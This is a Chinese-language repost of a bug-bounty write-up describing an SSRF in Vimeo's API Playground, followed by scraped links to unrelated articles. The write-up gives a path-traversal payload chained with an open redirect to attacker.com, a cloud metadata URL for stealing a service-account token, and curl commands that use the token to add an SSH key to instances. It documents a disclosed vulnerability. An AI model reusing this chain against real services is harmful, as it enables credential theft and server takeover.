具有代码执行潜力的Vimeo SSRF
最近我在Vimeo上发现了一个半响应的SSRF代码执行的可能性。这篇博客文章解释了我是如何找到并利用它的。
背景
Vimeo为其API提供了一个名为API Playground的API控制台,使用此Web应用程序发出的请求是从服务器端完成的。以下面的请求为例:

这是它的基本请求
该请求应该是服务器端GET请求
https://api.vimeo.com/users/{user_id}/videos/{video_id}
如果仔细观察请求,我们在这里控制了很多东西,首先uri 是在端点上命中的终点参数,即在这种情况下是/users/{user_id}/videos/{video_id} ,请求方法,即在这种情况下设置为GET ,params应该是post参数if请求方法是POST。user_id和video_id是一种变量,其值在segments 参数中定义。
在服务器端进行的HTTP请求中的路径遍历
我首先尝试将URI参数更改为自定义路径,但URI中的任何更改都将导致403,意味着它们允许使用一组API端点。但是,更改user_id和videos_id等变量的值是可能的,因为它们是有意的,因为这些值反映在URL的路径中。通过传递../../../将导致对api.vimeo.com根目录的请求,下面是发生的事情:
URL.parse(“https://api.vimeo.com/users/1122/videos/../../../attacker”)
结果输出: https://api.vimeo.com/attacker

服务器端HTTP请求中的路径遍历
正如您在响应中看到的,列出了api.vimeo.com的所有端点,如果您发出经过身份验证的请求(带有授权头),则该端点是api.vimeo.com的根响应。
现在怎么办?我们仍然在api.vimeo.com主机上,我们如何摆脱它?
我认为这是在遵循HTTP30X重定向原则,这是一个很长的故事,需要一些逻辑思考。
回到重点,现在我知道这是在遵循HTTP重定向,我们很好地向前推进,我们需要一个开放的重定向,以便我们可以将服务器重定向到我们的控制资产
新的发现
一分钟后我在其返回的内容里发现,在api.vimeo.com上遇到了一个端点,它使用我们在vimeo.com上控制的路径重定向到vimeo.com。
https://api.vimeo.com/m/something

现在我们有了一个广泛的范围来找到一个开放的重定向,我在vimeo.com上有一个不太有用的开放重定向,我不会透露它的细节,但我们假设它是这样的:
https://vimeo/vulnerable/open/redirect?url=https://attacker.com
这会使302重定向到攻击者网站上。
如何使用URL重定向到攻击者网站?
将服务器重定向到我们受控攻击网站的最终payload是:
../../../m/vulnerable/open/redirect?url=https://attacker.com
在video_id中传递此值将以这种方式解析URL:
https://api.vimeo.com/users/1122/videos/../../../m/vulnerable/open/redirect?url=https://attacker.com
来看看哪个已经解析完成吧!
https://api.vimeo.com/m/vulnerable/open/redirect?url=https://attacker.com
遵循并进行HTTP重定向
https://vimeo.com/vulnerable/open/redirect?url=https://attacker.com
进行了另一次HTTP重定向

SSRF已实现,有关重定向的详细信息
服务器需要JSON响应并对其进行解析而且需要显示响应。
利用..
由于Vimeo基础设施在谷歌云上,我的第一次尝试是访问谷歌API,我采用了国外安全研究员公开的方法。这里不便抛出链接。
这里它为我们提供了帐户token:
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
{ “headers”: [ “HTTP/1.1 ”, “Content-Type: application/json”, “Host: api.vimeo.com” ], “code”: , “body”: { “access_token”: “ya29.c.EmKeBq9XXDWtXXXXXXXXecIkeR0dFkGT0rJSA”, “expires_in”: , “token_type”: “Bearer” } }
token的使用范围:
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA 返回值:
{ "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" }
然后我可以使用此令牌将我的公共SSH密钥添加到实例,然后通过我的私钥连接:
$ curl -X POST “https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H “Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA” -H “Content-Type: application/json” — data ‘{“items”: [{“key”: “harsh-bugdiscloseguys”, “value”: “harsh-ssrf”}]}
返回值:
{ “kind”: “compute#operation”, “id”: “63228127XXXXXX”, “name”: “operation-XXXXXXXXXXXXXXXXXX”, “operationType”: “compute.projects.setCommonInstanceMetadata”, “targetLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX", “targetId”: “10423XXXXXXXX”, “status”: “RUNNING”, “user”: “10423XXXXXXXX-compute@developer.gserviceaccount.com”, “progress”: 0, “insertTime”: “2019–01–27T15:50:11.598–08:00”, “startTime”: “2019–01–27T15:50:11.599–08:00”, “selfLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX/global/operations/operation-XXXXXX"}
然后……

bingo!!成功。
但是,ssh端口仅在内部网络上打开:(但这足以证明内部可以升级到shell访问。
Kubernetes密钥也是从元数据API中提取的,但出于某种原因,我无法使用它们。
这就比较尴尬了。
具有代码执行潜力的Vimeo SSRF的更多相关文章
- 【预警通告】Apache Struts2 远程代码执行漏洞
Apache Structs2的Jakarta Multipart parser插件存在远程代码执行漏洞,漏洞编号为CVE-2017-5638.攻击者可以在使用该插件上传文件时,修改HTTP请求头中的 ...
- 最新漏洞:Spring Framework远程代码执行漏洞
Spring Framework远程代码执行漏洞 发布时间 2022-03-31 漏洞等级 High CVE编号 CVE-2022-22965 影响范围:同时满足以下三个条件可确定受此漏洞影响: JD ...
- phpMoadmin CVE-2015-2208 远程代码执行漏洞分析
原文:http://www.thinkings.org/2015/03/05/cve-2015-2208-phpmoadmin-exec-vul.html phpMoAdmin 是一个用PHP 开发的 ...
- Java代码执行顺序(静态变量,非静态变量,静态代码块,代码块,构造函数)加载顺序
//据说这是一道阿里巴巴面试题,先以这道题为例分析下 public class Text { public static int k = 0; public static Text t1 = new ...
- 【MongoDB】6.关于MongoDB存储文件的 命令执行+代码执行
参考:http://www.runoob.com/mongodb/mongodb-gridfs.html 1.命令执行 MongoDB GridFS GridFS 用于存储和恢复那些超过16M(BSO ...
- 当C#中带有return的TryCatch代码遇到Finally时代码执行顺序
编写的代码最怕出现的情况是运行中有错误出现,但是无法定位错误代码位置.综合<C#4.0图解教程>,总结如下: TryCatchFinally用到的最多的是TryCatch,Catch可以把 ...
- CRM 启用或禁用自定义代码执行
启用自定义代码执行 1.打开 Windows PowerShell 命令窗口. 2.添加 Microsoft Dynamics 365 PowerShell 管理单元: Add-PSSnapin Mi ...
- thinkphp 代码执行
相关漏洞:http://loudong.360.cn/vul/info/id/2919 ThinkPHP 开启lite模式后,会加载ThinkPHP/Extend/Mode/Lite/Dispache ...
- s2-029 Struts2 标签远程代码执行分析(含POC)
1.标签介绍 Struts2标签库提供了主题.模板支持,极大地简化了视图页面的编写,而且,struts2的主题.模板都提供了很好的扩展性.实现了更好的代码复用.Struts2允许在页面中使用自定义组件 ...
随机推荐
- framework7的改进,以及与vue组合使用遇到的问题以及解决方法 (附vue的原理)
framework7官方提供了vue+framework7的组合包,但是那个包用起来复杂度较高,而且不灵活.听说bug也不少. 所以我想用最原始的方式单独使用vue和framework7. 遇到以下问 ...
- js event事件对象概括
事件是用户或者浏览器自身执行的动作,而响应某个事件的函数就叫做事件处理程序或者叫事件侦听器. 定义事件处理程序可以大致分为以下三种: 一.html事件处理程序 元素支持的每种事件都可以用一个与之对应的 ...
- (转) AJAX POST&跨域 解决方案 - CORS
跨域是我在日常面试中经常会问到的问题,这词在前端界出现的频率不低,主要原因还是由于安全限制(同源策略, 即JavaScript或Cookie只能访问同域下的内容),因为我们在日常的项目开发时会不可避免 ...
- 【Python】区分List 和String
区分String和list String can't mutate 每次变更实质上开辟新的资源 List 可变更 警惕指针
- SQL UNION操作符使用
SQL UNION 操作符 SQL UNION 操作符合并两个或多个 SELECT 语句的结果. SQL UNION 操作符 UNION 操作符用于合并两个或多个 SELECT 语句的结果集. 请注意 ...
- collectd的python插件(redis)
https://blog.dbrgn.ch/2017/3/10/write-a-collectd-python-plugin/ redis_info.conf <LoadPlugin pytho ...
- ss.c
linux下 ss -i 可显示rto. how to display tcp rto http://linuxaleph.blogspot.com/2013/07/how-to-display-tc ...
- July 19th 2017 Week 29th Wednesday
Rather than envy others, it is better to speed up their own pace. 与其羡慕他人,不如加快自己的脚步. The envy of othe ...
- python实现读取类别频数数据画水平条形图
1.数据分组-->频数分布表 环境配置: import pandas as pd import numpy as np import matplotlib.pyplot as plt 按照你设定 ...
- boost::intrusive_ptr原理介绍
boost::intrusive_ptr一种“侵入式”的引用计数指针,它实际并不提供引用计数功能,而是要求被存储的对象自己实现引用计数功能,并提供intrusive_ptr_add_ref和intru ...